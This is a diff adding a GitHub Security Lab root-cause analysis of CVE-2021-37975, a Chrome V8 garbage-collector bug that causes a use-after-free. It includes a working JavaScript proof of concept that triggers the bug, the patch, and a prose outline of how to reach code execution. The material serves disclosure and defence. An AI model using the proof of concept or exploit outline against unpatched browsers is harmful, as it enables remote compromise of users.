🤬
  • ■ ■ ■ ■ ■ ■
    0day-RCAs/2021/CVE-2021-37975.md
     1 +# CVE-2021-37975: Chrome v8 garbage collector logic bug causing live objects to be collected
     2 +*Man Yue Mo, GitHub Security Lab*
     3 + 
     4 +## The Basics
     5 + 
     6 +**Disclosure or Patch Date:** 30 September 2021
     7 + 
     8 +**Product:** Google Chrome
     9 + 
     10 +**Advisory:** https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_30.html
     11 + 
     12 +**Affected Versions:** pre 94.0.4606.71
     13 + 
     14 +**First Patched Version:** 94.0.4606.71
     15 + 
     16 +**Issue/Bug Report:** https://bugs.chromium.org/p/chromium/issues/detail?id=1252918
     17 + 
     18 +**Patch CL:** https://chromium.googlesource.com/v8/v8.git/+/1054ee7f349d6be22e9518cf9b794b206d0e5818
     19 + 
     20 +**Bug-Introducing CL:** N/A
     21 + 
     22 +**Reporter(s):** Anonymous
     23 + 
     24 +## The Code
     25 + 
     26 +**Proof-of-concept:**
     27 +```js
     28 +var initKey = {init : 1};
     29 +var level = 4;
     30 +var map1 = new WeakMap();
     31 + 
     32 +function hideWeakMap(map, level, initKey) {
     33 + let prevMap = map;
     34 + let prevKey = initKey;
     35 + for (let i = 0; i < level; i++) {
     36 + let thisMap = new WeakMap();
     37 + prevMap.set(prevKey, thisMap);
     38 + let thisKey = {'h' : i};
     39 + thisMap.set(prevKey, thisKey);
     40 + prevMap = thisMap;
     41 + prevKey = thisKey;
     42 + if (i == level - 1) {
     43 + let retMap = new WeakMap();
     44 + map.set(thisKey, retMap);
     45 + return thisKey;
     46 + }
     47 + }
     48 +}
     49 + 
     50 +function getHiddenKey(map, level, initKey) {
     51 + let prevMap = map;
     52 + let prevKey = initKey;
     53 + for (let i = 0; i < level; i++) {
     54 + let thisMap = prevMap.get(prevKey);
     55 + let thisKey = thisMap.get(prevKey);
     56 + prevMap = thisMap;
     57 + prevKey = thisKey;
     58 + if (i == level - 1) {
     59 + return thisKey;
     60 + }
     61 + }
     62 +}
     63 + 
     64 +function setUpWeakMap(map) {
     65 + let hk = hideWeakMap(map, level, initKey);
     66 + let hiddenMap = map.get(hk);
     67 + let map7 = new WeakMap();
     68 + let map8 = new WeakMap();
     69 + let k5 = {k5 : 1};
     70 + let map5 = new WeakMap();
     71 + let k7 = {k7 : 1};
     72 + let k9 = {k9 : 1};
     73 + let k8 = {k8 : 1};
     74 + let v9 = {};
     75 + map.set(k7, map7);
     76 + map.set(k9, v9);
     77 + hiddenMap.set(k5, map5);
     78 + hiddenMap.set(hk, k5);
     79 + map5.set(hk, k7);
     80 + map7.set(k8, map8);
     81 + map7.set(k7, k8);
     82 + map8.set(k8,k9);
     83 +
     84 +}
     85 + 
     86 +function main() {
     87 + setUpWeakMap(map1);
     88 + 
     89 + new ArrayBuffer(0x7fe00000);
     90 + let hiddenKey = getHiddenKey(map1, level, initKey);
     91 + let hiddenMap = map1.get(hiddenKey);
     92 + let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
     93 + let k8 = map1.get(k7).get(k7);
     94 + let map8 = map1.get(k7).get(k8);
     95 + 
     96 + console.log(map1.get(map8.get(k8)));
     97 +}
     98 + 
     99 +while (true) {
     100 + try {
     101 + main();
     102 + } catch (err) {}
     103 +}
     104 +```
     105 + 
     106 +**Exploit sample:** N/A
     107 + 
     108 +**Did you have access to the exploit sample when doing the analysis?** N/A
     109 + 
     110 +## The Vulnerability
     111 + 
     112 +**Bug class:** Logic bug, but the result is use-after-free
     113 + 
     114 +**Vulnerability details:** When handling ephemerons (`WeakMap`, `WeakSet` etc.), a logic bug in the v8 garbage collector means that live objects may remain unmarked and be collected, leading to use-after-free.
     115 + 
     116 +Ephemerons (key-value pairs in `WeakMap` and `WeakSet`) are weak reference objects whose liveliness can only be determined after all other objects are marked by the garbage collector. In the v8 garbage collector, ephemerons are first marked using an iterative algorithm in [`ProcessEphemeronMarking`](https://source.chromium.org/chromium/chromium/src/+/e99f50608cef73d7c31620003c77e083f918979a:v8/src/heap/mark-compact.cc;l=1988). The algorithm roughly consists of three stages in each iteration:
     117 + 
     118 +```c++
     119 +bool MarkCompactCollector::ProcessEphemerons() {
     120 + Ephemeron ephemeron;
     121 + bool ephemeron_marked = false;
     122 + 
     123 + // Drain current_ephemerons and push ephemerons where key and value are still
     124 + // unreachable into next_ephemerons.
     125 + while (weak_objects_.current_ephemerons.Pop(kMainThreadTask, &ephemeron)) { //<----- 1.
     126 + if (ProcessEphemeron(ephemeron.key, ephemeron.value)) {
     127 + ephemeron_marked = true;
     128 + }
     129 + }
     130 + 
     131 + // Drain marking worklist and push discovered ephemerons into
     132 + // discovered_ephemerons.
     133 + DrainMarkingWorklist(); //<------ 2.
     134 + 
     135 + // Drain discovered_ephemerons (filled in the drain MarkingWorklist-phase
     136 + // before) and push ephemerons where key and value are still unreachable into
     137 + // next_ephemerons.
     138 + while (weak_objects_.discovered_ephemerons.Pop(kMainThreadTask, &ephemeron)) {//<----- 3.
     139 + if (ProcessEphemeron(ephemeron.key, ephemeron.value)) {
     140 + ephemeron_marked = true;
     141 + }
     142 + }
     143 + 
     144 + // Flush local ephemerons for main task to global pool.
     145 + weak_objects_.ephemeron_hash_tables.FlushToGlobal(kMainThreadTask);
     146 + weak_objects_.next_ephemerons.FlushToGlobal(kMainThreadTask);
     147 + 
     148 + return ephemeron_marked;
     149 +}
     150 + 
     151 +```
     152 + 
     153 +In the above, 1. will process the ephemerons that have been discovered so far, and pushes values whose keys are marked alive into a worklist. In 2., the worklist is processed and additional ephemerons maybe discovered (for example, if the worklist contains a `WeakMap`, then its entries may become newly discovered ephemerons). So in 3., these newly discovered ephemerons are processed and additional objects may be pushed to the worklist. The iteration continues until no more new objects are added to the worklist by 1. or 3. (because new objects in the worklist represents newly discovered live objects, and these need to be marked to avoid them getting collected).
     154 + 
     155 +However, the objects in the worklist in stage 2. may hold strong references to previously unreachable ephemerons in `current_ephemerons` that are processed in stage 1. If this happens, then some ephemerons in `current_ephemerons` may turn out to be alive when the iteration exits. In this case, these ephemerons will remain unmarked. This will lead to such ephemerons being collected while still alive.
     156 + 
     157 +**Patch analysis:**
     158 + 
     159 +The patch contains some refactoring, but the crucial part to fixing this bug is the following change:
     160 + 
     161 +```
     162 +diff --git a/src/heap/mark-compact.cc b/src/heap/mark-compact.cc
     163 +index 85e9618..dae343c 100644
     164 +--- a/src/heap/mark-compact.cc
     165 ++++ b/src/heap/mark-compact.cc
     166 +...
     167 + bool MarkCompactCollector::ProcessEphemerons() {
     168 + Ephemeron ephemeron;
     169 +
     170 + // Drain marking worklist and push discovered ephemerons into
     171 + // discovered_ephemerons.
     172 +- DrainMarkingWorklist();
     173 ++ size_t objects_processed;
     174 ++ std::tie(std::ignore, objects_processed) = ProcessMarkingWorklist(0);
     175 ++
     176 ++ // As soon as a single object was processed and potentially marked another
     177 ++ // object we need another iteration. Otherwise we might miss to apply
     178 ++ // ephemeron semantics on it.
     179 ++ if (objects_processed > 0) another_ephemeron_iteration = true;
     180 +```
     181 + 
     182 +As well as similar changes in `concurrent-marking.cc`. After the patch, the iteration will continue if any object in the worklist is processed, making sure that any existing ephemerons that got marked are processed in the next iteration. This prevents such ephemerons from being unmarked and collected.
     183 + 
     184 +**Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:**
     185 + 
     186 +The PoC to trigger the bug is sufficiently complex. There is also some randomness involves in trigger the bug, and concurrent marking also cause the PoC to be significantly more complex. While concurrent marking and other randomness involved can be turned off using the `--predictable` flag, it may actually cause the PoC to not trigger at all (due to the specific ordering of the entries in the `WeakMap` that is required to trigger the bug, which means that, if the order is fixed by removing the randomness, then the `WeakMap` constructed in the PoC may always have the wrong order, as oppose to being sometimes right and sometimes wrong due to randomness), so it seems that the `--predictable` flag may not make the PoC any simpler either. Base on this, I believe this bug may be easier to find via manual auditing. By going through the logic of the garbage collector, and also realizing the complication that ephemerons introduced and focus on this specific part of the code, it may be possible to identify the problem, at the very least, as a functional/logic bug that requires further investigation.
     187 + 
     188 +**(Historical/present/future) context of bug:**
     189 + 
     190 +The bug seems to be in a very specific part of the garbage collector. I personally do not know of many security bugs in that is in the logic of the garbage collector.
     191 + 
     192 +## The Exploit
     193 + 
     194 +(The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).)
     195 + 
     196 +**Exploit strategy (or strategies):**
     197 + 
     198 +The proof-of-concept included causes a use-after-free for an object of choice (`v9` in the proof-of-concept). The simplest way to exploit the vulnerability is probably to cause a use-after-free in a `TypedArray/ArrayBuffer` and follow the exploit strategy in [Operation Wizard Opium](https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/) (See also [_The Journey from exploiting PartitionAlloc to escaping the sandbox: Chromium Fullchain - 0CTF 2020_](https://blog.perfect.blue/Chromium-Fullchain)) to corrupt metadata in `PartitionAlloc`. I also have written [an article](https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975/) with a different exploit strategy that uses a `JSArray` as the use-after-free object.
     199 + 
     200 +**Exploit flow:**
     201 + 
     202 +The standard way to exploit this is probably to first cause a use-after-free in a `TypedArray/ArrayBuffer`, and then use it to corrupt metadata in `PartitionAlloc`. From there, arbitrary read and write can be obtained and then standard v8 technique can be followed by overwriting the body of a WebAssembly function, which is stored in an RWX region. Calling the WASM function then leads to arbitrary code execution.
     203 + 
     204 +Another way to exploit the use-after-free is to use large `JSArray` to cause type confusion between double and objects. After that, standard v8 type confusion exploit techniques can be applied.
     205 + 
     206 +**Known cases of the same exploit flow:** The `TypedArray/ArrayBuffer` exploit flow follows the exploit of [CVE-2019-13720](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2019/CVE-2019-13720.html).
     207 + 
     208 +**Part of an exploit chain?**
     209 + 
     210 +This is unclear to me as I do not have any context information other than what is publicly available.
     211 + 
     212 +## The Next Steps
     213 + 
     214 +### Variant analysis
     215 + 
     216 +**Areas/approach for variant analysis (and why):**
     217 + 
     218 +While this is a bug in a very specific area in the garbage collector, there are some other areas where variants may exist:
     219 +1. Handling of ephemerons of in other garbage collectors, such as the oilpan. The bug [1252878](https://bugs.chromium.org/p/chromium/issues/detail?id=1252878) appears to be the same ephemeron handling problem in oilpan.
     220 +2. Other objects that require special treatment in the garbage collector.
     221 + 
     222 +**Found variants:** The bug [1252878](https://bugs.chromium.org/p/chromium/issues/detail?id=1252878) ([patch](https://github.com/v8/v8/commit/e677a6f6b257e992094b9183a958b67ecc68aa85)) appears to be a variant found and fixed by the developers at around the same time as this bug is fixed. It was fixed in [94.0.4606.81](https://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop.html) as CVE-2021-37977 and was not known to be exploited in the wild.
     223 + 
     224 +### Structural improvements
     225 + 
     226 +What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?
     227 + 
     228 +**Ideas to kill the bug class:**
     229 + 
     230 +**Ideas to mitigate the exploit flow:**
     231 + 
     232 +**Other potential improvements:**
     233 + 
     234 +### 0-day detection methods
     235 + 
     236 +What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**?
     237 + 
     238 +## Other References
     239 + 
Please wait...
Page is in error, reload to recover